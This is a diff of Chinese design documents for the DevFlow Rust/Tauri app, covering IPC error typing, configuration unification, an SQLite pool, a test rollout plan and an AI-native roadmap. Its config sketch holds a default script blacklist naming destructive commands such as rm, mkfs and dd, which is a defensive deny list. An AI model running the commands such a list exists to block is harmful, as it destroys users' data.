- **循环依赖**:`agentic_loop` 需要 LlmProvider(df-ai-core)+ AiToolRegistry。AiToolRegistry 的 handler 依赖 src-tauri 的 storage/commands。**解决**:把 AiToolRegistry trait 下沉到 df-ai-core,handler 实现留在 src-tauri。
|
||||||
|
- **测试覆盖**:现有 AI 测试都在 src-tauri 集成测试,迁移后需补 df-ai-session 的单测。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、#8 — IPC 错误结构化
|
||||||
|
|
||||||
|
### 现状
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// src-tauri/src/commands/mod.rs:26
|
||||||
|
pub fn err_str<E: ToString>(e: E) -> String { e.to_string() }
|
||||||
|
|
||||||
|
// 所有 IPC 命令
|
||||||
|
async fn xxx() -> Result<T, String> { ... .map_err(err_str) }
|
||||||
|
```
|
||||||
|
|
||||||
|
df-types/error.rs 的 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }`)在 IPC 边界全部 `.to_string()` 拍平。前端只能拿到字符串,无法分辨错误类型。
|
||||||
|
|
||||||
|
### 目标架构
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// df-types/src/error.rs 新增 Serialize
|
||||||
|
#[derive(Debug, Serialize, Deserialize)]
|
||||||
|
#[serde(tag = "kind", content = "data")]
|
||||||
|
pub enum IpcError {
|
||||||
|
NotFound { entity: String, id: String },
|
||||||
|
Validation { field: String, reason: String },
|
||||||
|
InvalidState { entity: String, current: String, expected: Vec<String> },
|
||||||
|
Unauthorized { reason: String },
|
||||||
|
Internal { message: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
// IPC 命令改为
|
||||||
|
async fn xxx() -> Result<T, IpcError> { ... }
|
||||||
|
```
|
||||||
|
|
||||||
|
Tauri invoke 自动 serialize 为 JSON:
|
||||||
|
```json
|
||||||
|
{ "kind": "invalid_state", "data": { "entity": "task", "current": "todo", "expected": ["in_progress"] } }
|
||||||
|
```
|
||||||
|
|
||||||
|
### 前端消费
|
||||||
|
|
||||||
|
```ts
|
||||||
|
// src/api/types.ts
|
||||||
|
type IpcError =
|
||||||
|
| { kind: 'not_found'; data: { entity: string; id: string } }
|
||||||
|
| { kind: 'validation'; data: { field: string; reason: string } }
|
||||||
|
| { kind: 'invalid_state'; data: { entity: string; current: string; expected: string[] } }
|
||||||
|
| { kind: 'unauthorized'; data: { reason: string } }
|
||||||
|
| { kind: 'internal'; data: { message: string } }
|
||||||
|
|
||||||
|
// 使用
|
||||||
|
try { await invoke(...) }
|
||||||
|
catch (e: unknown) {
|
||||||
|
const err = e as IpcError
|
||||||
|
if (err.kind === 'not_found') router.push('/projects')
|
||||||
|
else if (err.kind === 'invalid_state') toast.warning(`当前 ${err.data.current},期望 ${err.data.expected.join(',')}`)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 迁移路径
|
||||||
|
|
||||||
|
**阶段 1**:df-types 新增 `IpcError` enum + `From<df_types::error::Error> for IpcError`。
|
||||||
|
|
||||||
|
**阶段 2**:src-tauri IPC 命令逐个从 `Result<T, String>` 改为 `Result<T, IpcError>`。**保持向后兼容**:旧前端读 `err.message` 时降级为字符串(IpcError 实现 `Display` 输出 message)。
|
||||||
|
|
||||||
|
**阶段 3**:前端 api 层加 `IpcError` 类型 + 在关键 view(Projects/Tasks/Ideas)按 kind 分支处理。
|
||||||
|
|
||||||
|
**阶段 4**:删除 `err_str` 辅助函数。
|
||||||
|
|
||||||
|
### 风险
|
||||||
|
|
||||||
|
- **Tauri invoke 错误序列化**:Tauri 默认把 `Result::Err` 经 JSON 传前端,但前端 `invoke().catch()` 拿到的是 `string` 或 `object`?**需验证**:Tauri v2 对自定义 error 类型的序列化行为。
|
||||||
|
- **向后兼容**:旧前端代码 `e?.toString()` 需仍工作。IpcError 的 Display 实现保证字符串友好。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、#18 — 配置四源统一
|
||||||
|
|
||||||
|
### 现状(散落 env::var 读取)
|
||||||
|
|
||||||
|
| 读取点 | 用途 | 性质 |
|
||||||
|
|--------|------|------|
|
||||||
|
| `df-relay/src/main.rs:17` `DF_RELAY_ADDR` | relay 监听地址 | 启动配置 |
|
||||||
|
| `df-relay/src/relay.rs:38` `DF_RELAY_TOKEN` | relay 鉴权 | 启动配置(panic 兜底) |
|
||||||
|
| `df-nodes/src/script_node.rs:141,155` `DF_SCRIPT_BLACKLIST`/`WHITELIST` | 脚本策略 | 运行时读取 |
|
||||||
|
| `df-nodes/src/ai_node.rs:389-398` `GLM_BASE_URL`/`GLM_API_KEY`/`GLM_MODEL` | AINode 兜底 provider | 运行时读取 |
|
||||||
|
| `src-tauri/src/commands/ai/tool_registry.rs:2780` `DEVFLOW_ENV_PROBE_ENABLED` | 环境探测开关 | 运行时读取 |
|
||||||
|
| `src-tauri/src/main.rs:116-121` `APPDATA`/`HOME` | OS 路径 | 系统变量 |
|
||||||
|
| `df-execute/src/env_snapshot.rs:216,253` `SHELL`/`LANG` | Shell 探测 | 系统变量 |
|
||||||
|
|
||||||
|
### 目标架构
|
||||||
|
|
||||||
|
**不强行统一所有读取**(OS 路径 / Shell 探测等系统变量性质不同),而是:
|
||||||
|
|
||||||
|
1. **df-types 新增 `AppConfig` struct**(集中定义项目级配置项)
|
||||||
|
2. **启动时一次性读取 env + DB KV**,构造 `AppConfig` 实例
|
||||||
|
3. **AppState 持有 `Arc<AppConfig>`**,各模块经 state 读取
|
||||||
|
4. **文档化配置矩阵**:env / DB KV / 默认值 / panic 的关系
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// df-types/src/config.rs
|
||||||
|
pub struct AppConfig {
|
||||||
|
pub relay: RelayConfig,
|
||||||
|
pub script_policy: ScriptPolicyConfig,
|
||||||
|
pub ai_node: AiNodeConfig,
|
||||||
|
pub env_probe: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct RelayConfig {
|
||||||
|
pub addr: String, // 默认 "127.0.0.1:8080"
|
||||||
|
pub token: String, // 缺失 panic
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ScriptPolicyConfig {
|
||||||
|
pub blacklist: Vec<String>, // 默认 ["rm","del","format","shutdown","mkfs","dd"]
|
||||||
|
pub whitelist: Vec<String>, // 默认 []
|
||||||
|
}
|
||||||
|
|
||||||
|
// src-tauri/src/state.rs
|
||||||
|
pub struct AppState {
|
||||||
|
pub config: Arc<AppConfig>,
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 迁移路径
|
||||||
|
|
||||||
|
**阶段 1**:df-types 定义 `AppConfig`,在 src-tauri 启动时构造。
|
||||||
|
|
||||||
|
**阶段 2**:逐个替换散落的 `std::env::var` 为 `state.config.xxx`。**保持 env var 作为 override**(向后兼容)。
|
||||||
|
|
||||||
|
**阶段 3**:前端 Settings 增加「环境变量覆盖」可视化。
|
||||||
|
|
||||||
|
### 风险
|
||||||
|
|
||||||
|
- **df-relay 独立 binary**:relay 是独立进程,不经 src-tauri AppState。**解决**:df-relay 自己构造 `RelayConfig`(共享 df-types::config 类型)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、#19 — SQLite 连接池
|
||||||
|
|
||||||
|
### 现状
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// crates/df-storage/src/db.rs:13-16
|
||||||
|
pub struct Database {
|
||||||
|
conn: Arc<Mutex<Connection>>, // 单连接,所有读写串行
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
注释自承 `TODO: 考虑使用 r2d2 连接池替代单连接 Mutex`。AI 对话高峰(多 tool_calls 并发 + SSE 落库)下排队。
|
||||||
|
|
||||||
|
### 目标架构
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct Database {
|
||||||
|
pool: r2d2::Pool<SqliteConnectionManager>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Database {
|
||||||
|
pub fn conn(&self) -> Result<r2d2::PooledConnection<SqliteConnectionManager>> {
|
||||||
|
self.pool.get().map_err(...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 迁移路径
|
||||||
|
|
||||||
|
**阶段 1**:df-storage 加 `r2d2` + `r2d2_sqlite` 依赖,改 `Database` 内部为 pool。
|
||||||
|
|
||||||
|
**阶段 2**:所有 Repo 的 `conn.blocking_lock()` 改为 `pool.get()?`(spawn_blocking 内获取连接)。
|
||||||
|
|
||||||
|
**阶段 3**:WAL 模式 + 合理 pool_size(桌面应用 4-8 即可)。
|
||||||
|
|
||||||
|
### 风险
|
||||||
|
|
||||||
|
- **WAL 已开**(`db.rs:22 PRAGMA journal_mode=WAL`),读写不互斥,pool 能真正并行。
|
||||||
|
- **事务原子性**:现有批量插入用 `unchecked_transaction()`,pool 模式下需确认 `PooledConnection` 的 transaction 行为一致。
|
||||||
|
- **测试改造**:所有 Repo 测试的 `Database::open_in_memory()` 需改为 pool 模式。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、本批次已落地(参考)
|
||||||
|
|
||||||
|
| 编号 | 改动 | 文件 |
|
||||||
|
|------|------|------|
|
||||||
|
| #17 | TaskStatus 字符串常量从 enum 派生(`as_str` 改 const fn) | `crates/df-types/src/types.rs` + `crates/df-nodes/src/task_state_machine.rs` |
|
||||||
|
| #16 | df-project 真分层(加状态机 + 业务约束 + 测试) | `crates/df-project/src/manager.rs` + `src-tauri/src/commands/idea.rs` |
|
||||||
|
| #18 部分 | 文档化配置矩阵(本设计文档) | 本文件 |
|
||||||
|
|
||||||
|
## 七、推进顺序建议
|
||||||
|
|
||||||
|
1. **#8 IPC 错误结构化** — 风险中等,收益直接(前端可差异化处理)
|
||||||
|
2. **#15 AI 状态机抽离** — 风险高但收益最大(解锁 CLI/独立测试),建议在 Phase 4 之前
|
||||||
|
3. **#18 配置统一** — 与 #15 协同(新 crate 也需要读配置)
|
||||||
|
4. **#19 连接池** — 性能瓶颈出现时再改(当前单用户桌面应用未必触发)
|
||||||
290
docs/02-架构设计/专项设计/测试落地实施方案-2026-07-01.md
Normal file
290
docs/02-架构设计/专项设计/测试落地实施方案-2026-07-01.md
Normal file
@@ -0,0 +1,290 @@
|
|||||||
|
# 测试落地实施方案 — 2026-07-01
|
||||||
|
|
||||||
|
> 关联:[后续批次测试用例设计-2026-07-01.md](后续批次测试用例设计-2026-07-01.md)
|
||||||
|
> 用途:定义每个测试用例的具体落地方式、文件位置、执行命令
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、项目现有测试基建
|
||||||
|
|
||||||
|
| 层 | 现状 | 工具 |
|
||||||
|
|----|------|------|
|
||||||
|
| Rust 单元测试 | df-ai 370+ 测试,df-storage 集成测试,df-execute 集成测试 | `#[test]` / `#[tokio::test]` |
|
||||||
|
| 前端测试 | **无**(package.json 无 vitest/jest) | 需引入 vitest |
|
||||||
|
| 端到端 | 无自动化(手动验证 + 日志) | 手动 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、各层级落地方式
|
||||||
|
|
||||||
|
### 2.1 Rust 单元测试(`#[test]` / `#[tokio::test]`)
|
||||||
|
|
||||||
|
**适用用例**:MIG / REPO / DEC / PAR / TOK / MRG / CMP / ARB / TPL / POL
|
||||||
|
|
||||||
|
**文件位置**:与现有模式一致——`mod tests` 嵌入源文件底部。
|
||||||
|
|
||||||
|
| 用例类别 | 落地文件 | 测试数量 |
|
||||||
|
|---------|---------|---------|
|
||||||
|
| MIG-01~04 | `df-storage/src/migrations.rs` mod tests | 4 |
|
||||||
|
| REPO-01~07 | `df-storage/src/crud/plan_repo.rs` mod tests | 7 |
|
||||||
|
| DEC-01~06 | `df-ai/src/coordinator.rs` mod tests(已有 6 个,补全) | 6 |
|
||||||
|
| PAR-01~07 | `df-ai/src/coordinator.rs` mod tests(mock executor) | 7 |
|
||||||
|
| TOK-01~04 | `df-ai/src/coordinator.rs` mod tests | 4 |
|
||||||
|
| MRG-01~05 | `df-ai/src/coordinator.rs` mod tests(mock merge) | 5 |
|
||||||
|
| CMP-01~04 | `df-ai/src/coordinator.rs` mod tests(mock 编译结果) | 4 |
|
||||||
|
| ARB-01~04 | `df-ai/src/persona.rs` mod tests | 4 |
|
||||||
|
| TPL-01~06 | `df-workflow/src/template_loader.rs` mod tests | 6 |
|
||||||
|
| POL-01~06 | `src-tauri/src/policy.rs` mod tests | 6 |
|
||||||
|
|
||||||
|
**执行命令**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 全量
|
||||||
|
cargo test --workspace
|
||||||
|
|
||||||
|
# 按 crate
|
||||||
|
cargo test -p df-ai
|
||||||
|
cargo test -p df-storage
|
||||||
|
|
||||||
|
# 按用例名
|
||||||
|
cargo test -p df-ai coordinator::tests::decompose_read_then_write
|
||||||
|
|
||||||
|
# 只跑并行相关
|
||||||
|
cargo test -p df-ai -- coordinator::tests::par_
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 Rust 集成测试(`tests/` 目录)
|
||||||
|
|
||||||
|
**适用用例**:WT / SUB / NODE / LCK / CI(需要真实 Git/Shell/DB 环境)
|
||||||
|
|
||||||
|
| 用例类别 | 落地文件 | 说明 |
|
||||||
|
|---------|---------|------|
|
||||||
|
| WT-01~07 | `df-ai/tests/git_worktree.rs` | 真实 git worktree 操作(tempdir 临时仓库) |
|
||||||
|
| LCK-01~03 | `df-ai/tests/command_lock.rs` | 真实 tokio 并发 + mutex 验证 |
|
||||||
|
| SUB-01~03 | `df-nodes/tests/subflow_node.rs` | 真实 Executor + 嵌套模板 |
|
||||||
|
| NODE-01~06 | `df-nodes/tests/nodes.rs` | GitNode/HTTPNode/NotifyNode 各自独立 |
|
||||||
|
| CI-01~02 | `df-nodes/tests/docker_node.rs` | 需 Docker 环境(`#[ignore]` 标注,CI 环境跑) |
|
||||||
|
|
||||||
|
**WT 测试关键代码模式**(参考现有 `df-execute/tests/shell.rs`):
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// df-ai/tests/git_worktree.rs
|
||||||
|
use tempfile::TempDir;
|
||||||
|
use std::process::Command;
|
||||||
|
|
||||||
|
fn setup_git_repo() -> TempDir {
|
||||||
|
let dir = tempfile::tempdir().unwrap();
|
||||||
|
Command::new("git").arg("init").current_dir(dir.path()).output().unwrap();
|
||||||
|
Command::new("git").args(["config", "user.email", "test@test.com"])
|
||||||
|
.current_dir(dir.path()).output().unwrap();
|
||||||
|
Command::new("git").args(["config", "user.name", "test"])
|
||||||
|
.current_dir(dir.path()).output().unwrap();
|
||||||
|
// 写初始文件 + commit
|
||||||
|
std::fs::write(dir.path().join("main.rs"), "fn main() {}").unwrap();
|
||||||
|
Command::new("git").args(["add", "."]).current_dir(dir.path()).output().unwrap();
|
||||||
|
Command::new("git").args(["commit", "-m", "init"]).current_dir(dir.path()).output().unwrap();
|
||||||
|
dir
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn wt_01_worktree_create_and_isolate() {
|
||||||
|
let repo = setup_git_repo();
|
||||||
|
let plan_id = "test-plan-001";
|
||||||
|
// 创建 worktree
|
||||||
|
let wt_path = repo.path().join(".devflow/wt").join(plan_id).join("A");
|
||||||
|
let output = Command::new("git")
|
||||||
|
.args(["worktree", "add", wt_path.to_str().unwrap(), "-b", "subtask/test-plan-001/A"])
|
||||||
|
.current_dir(repo.path())
|
||||||
|
.output().unwrap();
|
||||||
|
assert!(output.status.success(), "worktree 创建失败");
|
||||||
|
assert!(wt_path.exists(), "worktree 目录应存在");
|
||||||
|
// 写文件到 worktree
|
||||||
|
std::fs::write(wt_path.join("new.rs"), "// A 的改动").unwrap();
|
||||||
|
// 主目录不应有 new.rs
|
||||||
|
assert!(!repo.path().join("new.rs").exists(), "主目录不应有 A 的改动");
|
||||||
|
// 清理
|
||||||
|
Command::new("git").args(["worktree", "remove", wt_path.to_str().unwrap(), "--force"])
|
||||||
|
.current_dir(repo.path()).output().unwrap();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.3 前端测试(引入 vitest)
|
||||||
|
|
||||||
|
**现状**:项目无前端测试基建。需要引入 vitest。
|
||||||
|
|
||||||
|
**引入步骤**(纳入数据层批次实施):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
bun add -d vitest @vue/test-utils jsdom
|
||||||
|
```
|
||||||
|
|
||||||
|
`vitest.config.ts`:
|
||||||
|
```typescript
|
||||||
|
import { defineConfig } from 'vitest/config'
|
||||||
|
import vue from '@vitejs/plugin-vue'
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
plugins: [vue()],
|
||||||
|
test: {
|
||||||
|
environment: 'jsdom',
|
||||||
|
globals: true,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
```
|
||||||
|
|
||||||
|
`package.json` 加 `"test": "vitest"` 脚本。
|
||||||
|
|
||||||
|
**适用用例**:EVT / OUT / REF(前端)
|
||||||
|
|
||||||
|
| 用例类别 | 落地文件 | 说明 |
|
||||||
|
|---------|---------|------|
|
||||||
|
| EVT-01~06 | `src/components/ai/__tests__/PlanProgress.test.ts` | 组件事件驱动渲染 |
|
||||||
|
| OUT-01~04 | `src/components/ai/__tests__/MessageList.test.ts` | 合并产出展示/折叠 |
|
||||||
|
| REF-03~05 | `src/components/ai/__tests__/MessageList.test.ts` | 拆分后行为不变 |
|
||||||
|
|
||||||
|
**执行命令**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
bun run test # watch 模式
|
||||||
|
bun run test -- --run # 单次跑
|
||||||
|
bun run test -- PlanProgress # 按文件名过滤
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.4 端到端手动验证(测试脚本 + 日志)
|
||||||
|
|
||||||
|
**适用用例**:E2E / EDGE
|
||||||
|
|
||||||
|
**落地方式**:测试用 DB + 日志分析脚本,非自动化框架。
|
||||||
|
|
||||||
|
**手动验证检查清单格式**(每个批次完成时填写):
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
## E2E-01 简单并行任务
|
||||||
|
- [ ] 发送消息:"先读取 main.rs 再修改 utils.rs"
|
||||||
|
- [ ] PlanProgress 展示 2 层 DAG
|
||||||
|
- [ ] Layer 0 (read) 完成 → Layer 1 (write) 启动
|
||||||
|
- [ ] 最终输出包含合并结果
|
||||||
|
- [ ] ai_subtasks 表有 2 条记录,status=done
|
||||||
|
- [ ] ai_messages 表有 subtask_id 非空的记录
|
||||||
|
- [ ] worktree 目录已清理(.devflow/wt/ 下无残留)
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证用 SQL 查询**(批次完成后在 dev 数据库执行):
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 检查 Plan 记录
|
||||||
|
SELECT id, status, subtask_count, created_at FROM ai_plans ORDER BY created_at DESC LIMIT 5;
|
||||||
|
|
||||||
|
-- 检查 SubTask 状态
|
||||||
|
SELECT s.id, s.persona_id, s.status, s.layer, s.branch
|
||||||
|
FROM ai_subtasks s
|
||||||
|
JOIN ai_plans p ON s.plan_id = p.id
|
||||||
|
WHERE p.id = ? -- 替换为实际 plan_id
|
||||||
|
ORDER BY s.layer, s.created_at;
|
||||||
|
|
||||||
|
-- 检查冲突记录
|
||||||
|
SELECT c.file_path, c.conflict_type, c.resolution, c.resolved_by
|
||||||
|
FROM ai_conflicts c WHERE c.plan_id = ?;
|
||||||
|
|
||||||
|
-- 检查消息归属
|
||||||
|
SELECT m.id, m.role, m.subtask_id, substr(m.content, 1, 60) as preview
|
||||||
|
FROM ai_messages m WHERE m.conversation_id = ? AND m.subtask_id IS NOT NULL
|
||||||
|
ORDER BY m.seq DESC LIMIT 20;
|
||||||
|
```
|
||||||
|
|
||||||
|
**worktree 残留检查**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Plan 完成后应无残留
|
||||||
|
ls -la .devflow/wt/ # 应为空或不存在
|
||||||
|
|
||||||
|
# 异常残留时的清理
|
||||||
|
git worktree list
|
||||||
|
git worktree prune
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、落地优先级
|
||||||
|
|
||||||
|
| 优先级 | 范围 | 时机 |
|
||||||
|
|--------|------|------|
|
||||||
|
| **P0 随编码落地** | Rust 单元测试(DEC/PAR/TOK/MRG/ARB) | 每个批次编码时同步写 |
|
||||||
|
| **P0 随编码落地** | Rust 集成测试(WT) | worktree 模块编码时同步写 |
|
||||||
|
| **P1 批次末尾** | 前端测试基建引入 + EVT/OUT | 数据层批次末尾引入 vitest |
|
||||||
|
| **P2 批次完成后** | E2E 手动验证 | 每个批次完成后用检查清单验证 |
|
||||||
|
| **P3 按需** | CI 集成测试(Docker/PR) | Git/CI 批次完成后 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、CI 自动化(远期)
|
||||||
|
|
||||||
|
当 vitest + cargo test 覆盖率足够后,接入 CI:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
# .github/workflows/test.yml(或 Gitea Actions)
|
||||||
|
jobs:
|
||||||
|
rust-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- run: cargo test --workspace
|
||||||
|
|
||||||
|
frontend-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- uses: oven-sh/setup-bun@v1
|
||||||
|
- run: bun install
|
||||||
|
- run: bun run test -- --run
|
||||||
|
```
|
||||||
|
|
||||||
|
当前阶段以**本地 `cargo test` + 手动 E2E** 为主,CI 自动化等测试覆盖率达标后接入。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、Mock 策略
|
||||||
|
|
||||||
|
### 5.1 Rust 侧
|
||||||
|
|
||||||
|
| 依赖 | Mock 方式 |
|
||||||
|
|------|----------|
|
||||||
|
| LLM 调用 | 闭包注入(`Coordinator.dispatch<F>` 已支持泛型 executor) |
|
||||||
|
| Git 操作 | 集成测试用真实 git(tempdir 临时仓库) |
|
||||||
|
| 数据库 | 内存 SQLite(`Database::open_in_memory()`) |
|
||||||
|
| 编译检查 | mock 返回 exit_code(单元测试)/ 真实 cargo(集成测试) |
|
||||||
|
|
||||||
|
### 5.2 前端侧
|
||||||
|
|
||||||
|
| 依赖 | Mock 方式 |
|
||||||
|
|------|----------|
|
||||||
|
| Tauri IPC | `@vue/test-utils` mock `invoke` |
|
||||||
|
| 事件监听 | 手动 emit 测试事件 |
|
||||||
|
| i18n | 插件 mock(返回 key 本身) |
|
||||||
|
| Store | 真实 Pinia store(测试 store 逻辑本身) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、每个批次的测试验证流程
|
||||||
|
|
||||||
|
```
|
||||||
|
编码完成
|
||||||
|
↓
|
||||||
|
cargo test -p df-ai(对应模块单元测试全绿)
|
||||||
|
↓
|
||||||
|
cargo test -p df-storage(迁移+Repo 测试全绿)
|
||||||
|
↓
|
||||||
|
cargo test -p df-ai --test git_worktree(worktree 集成测试全绿)
|
||||||
|
↓
|
||||||
|
cargo check --workspace(编译无警告)
|
||||||
|
↓
|
||||||
|
npx vue-tsc --noEmit(前端类型检查)
|
||||||
|
↓
|
||||||
|
npx vite build(前端构建)
|
||||||
|
↓
|
||||||
|
手动 E2E 检查清单(对照测试用例文档逐项验证)
|
||||||
|
↓
|
||||||
|
SQL 查询验证(DB 数据正确性)
|
||||||
|
↓
|
||||||
|
提交(代码+测试同一提交)
|
||||||
|
```
|
||||||
132
docs/02-架构设计/构想审查/AI-Native方向与路线图-2026-06-29.md
Normal file
132
docs/02-架构设计/构想审查/AI-Native方向与路线图-2026-06-29.md
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
# AI Native 方向与路线图 — 2026-06-29
|
||||||
|
|
||||||
|
> 性质:方向定义 / 优先级矩阵 / 推进路线图
|
||||||
|
> 关联: [Agent架构说明-2026-06-14.md](../专项设计/Agent架构说明-2026-06-14.md)(当前 Agent 能力边界)
|
||||||
|
> 关联: [三层模型-流程模板与人设体系-2026-06-28.md](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(模板/工作流/人设三层抽象)
|
||||||
|
> 关联: [架构债迁移设计-2026-06-29.md](../专项设计/架构债迁移设计-2026-06-29.md)(#8/#15/#18/#19 迁移路径)
|
||||||
|
> 关联: [产品定位调整-2026-06-12.md](./产品定位调整-2026-06-12.md)(「想法到创作」产品定位)
|
||||||
|
> 用途:作为后续所有功能/架构决策的优先级参考
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、AI Native 与传统范式的区别
|
||||||
|
|
||||||
|
DevFlow 的定位是 **AI 原生**——AI 不是辅助工具,而是系统的主要操作者。人的角色从「操作者」转变为「决策者 + 政策制定者」。
|
||||||
|
|
||||||
|
```
|
||||||
|
传统 DevOps 流程:
|
||||||
|
需求 → 设计 → 编码 → PR → 审查 → CI → 部署
|
||||||
|
↑ ↑ ↑ ↑ ↑ ↑ ↑
|
||||||
|
人 人 AI 人 人 自动 人
|
||||||
|
辅助写 创建PR 审查
|
||||||
|
|
||||||
|
AI Native 流程:
|
||||||
|
想法 → AI 分析 → AI 设计 → AI 编码并行 → AI 自审 → AI 测试 → AI 发布 ← 人类审批
|
||||||
|
↑ ↑ ↑ ↑ ↑ ↑ ↑
|
||||||
|
人类 AI驱动 AI驱动 多Agent分工 AI审计 AI验证 自动编排
|
||||||
|
输入
|
||||||
|
```
|
||||||
|
|
||||||
|
**关键变化**:
|
||||||
|
|
||||||
|
| 维度 | 传统 | AI Native |
|
||||||
|
|------|------|-----------|
|
||||||
|
| 人类角色 | 执行者(写代码、建 PR、跑测试) | 决策者(立项、审批、定策略) |
|
||||||
|
| AI 角色 | 辅助(补全、建议、生成片段) | 执行者(分析、设计、编码、测试、发布) |
|
||||||
|
| 流程驱动 | 人类手工推进(点按钮、改状态) | AI 自动推进(工作流 + 事件驱动) |
|
||||||
|
| 质量保障 | 人工审查 + CI 门禁 | AI 自审 + 人工审批 + 质量门禁 |
|
||||||
|
| 产出物 | 代码 PR | 可发布的全流程资产(代码 + 测试 + 文档 + 变更日志) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、优先级矩阵
|
||||||
|
|
||||||
|
按「奠定 AI Native 基础」的依赖关系排序。P0 是 P1 的前提,P1 是 P2 的前提。
|
||||||
|
|
||||||
|
```
|
||||||
|
P0 ─── 人设系统 ─── 多 Agent 协作
|
||||||
|
(角色划分) (分工执行)
|
||||||
|
│
|
||||||
|
P1 ─── 模板系统 ─── Git/CI 集成
|
||||||
|
(流程预设) (现实接轨)
|
||||||
|
│
|
||||||
|
P2 ─── 审批政策 ─── 算法验证
|
||||||
|
(规则配置) (特定场景)
|
||||||
|
```
|
||||||
|
|
||||||
|
### P0:智能体人设 + 多 Agent 协作
|
||||||
|
|
||||||
|
这两项构成 AI Native 的基础——没有角色划分就谈不上分工,没有分工就谈不上协作。
|
||||||
|
|
||||||
|
| 方向 | 内容 | 代码落点 | 前置依赖 |
|
||||||
|
|------|------|---------|---------|
|
||||||
|
| **人设系统** | AgentPersona 结构体 + PersonaRegistry + 内置 5 人设(coder/reviewer/architect/tester/analyst) | `crates/df-ai/src/persona.rs`(新建) | `df-ai` crate 已有 |
|
||||||
|
| **人设注入** | AINode 执行时从 NodeContext 读 persona_id,拼接 system_prompt + 过滤工具集 | `crates/df-nodes/src/ai_node.rs` + `crates/df-workflow/src/node.rs` | 人设系统就绪 |
|
||||||
|
| **Coordinator 填实** | 拆解任务 → 分配人设 → 并行 Agent → 汇总合并 | `crates/df-ai/src/coordinator.rs` | 人设系统 + SubflowNode |
|
||||||
|
| **Planner 接入 Loop** | `intent/plan_hint/planner` 三个纯函数模块接入主 loop | `src-tauri/src/commands/ai/agentic/mod.rs` | Coordinator 就绪 |
|
||||||
|
|
||||||
|
**验证标准**:单次 AI Chat 能调用多个子 Agent 并行工作(如同时生成三个模块的代码),最后合并为一个完整的 PR。
|
||||||
|
|
||||||
|
### P1:模板系统 + Git/CI 集成
|
||||||
|
|
||||||
|
AI 产出的成果需要能推送到现实协作流程(Git PR、CI Pipeline)。
|
||||||
|
|
||||||
|
| 方向 | 内容 | 代码落点 | 前置依赖 |
|
||||||
|
|------|------|---------|---------|
|
||||||
|
| **模板加载器** | YAML 模板 → DagDef 实例化 | `crates/df-workflow` 新增 | SubflowNode |
|
||||||
|
| **SubflowNode** | 嵌套子工作流节点 | `crates/df-nodes/src/subflow_node.rs` | 模板系统 |
|
||||||
|
| **GitNode** | 分支创建/PR/合并操作 | `crates/df-nodes/src/git_node.rs` | libgit2 就绪 |
|
||||||
|
| **DockerNode** | 容器内构建/测试 | `crates/df-nodes/src/docker_node.rs` | workpod API |
|
||||||
|
| **Config 统一** | AppConfig struct + env override | `df-types/src/config.rs` + AppState | 本迭代推进 |
|
||||||
|
|
||||||
|
**验证标准**:从 YAML 模板加载工作流 → 创建 Git 分支 → 生成代码 → 提交 PR → 跑 CI。
|
||||||
|
|
||||||
|
### P2:审批政策 + 算法验证
|
||||||
|
|
||||||
|
当 AI 成为主要执行者后,「什么时候需要人批」「算法怎么验证」需要系统化的可配置机制。
|
||||||
|
|
||||||
|
| 方向 | 内容 | 代码落点 | 前置依赖 |
|
||||||
|
|------|------|---------|---------|
|
||||||
|
| **审批政策配置** | 按人设/节点/风险级别定制审批策略 | `HumanNode` + 配置层 | 人设系统就绪 |
|
||||||
|
| **算法验证循环** | 基准测试 → 对比 → 迭代优化 → 早停 | 新建 `df-algo` crate | 模板系统 + 人设 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
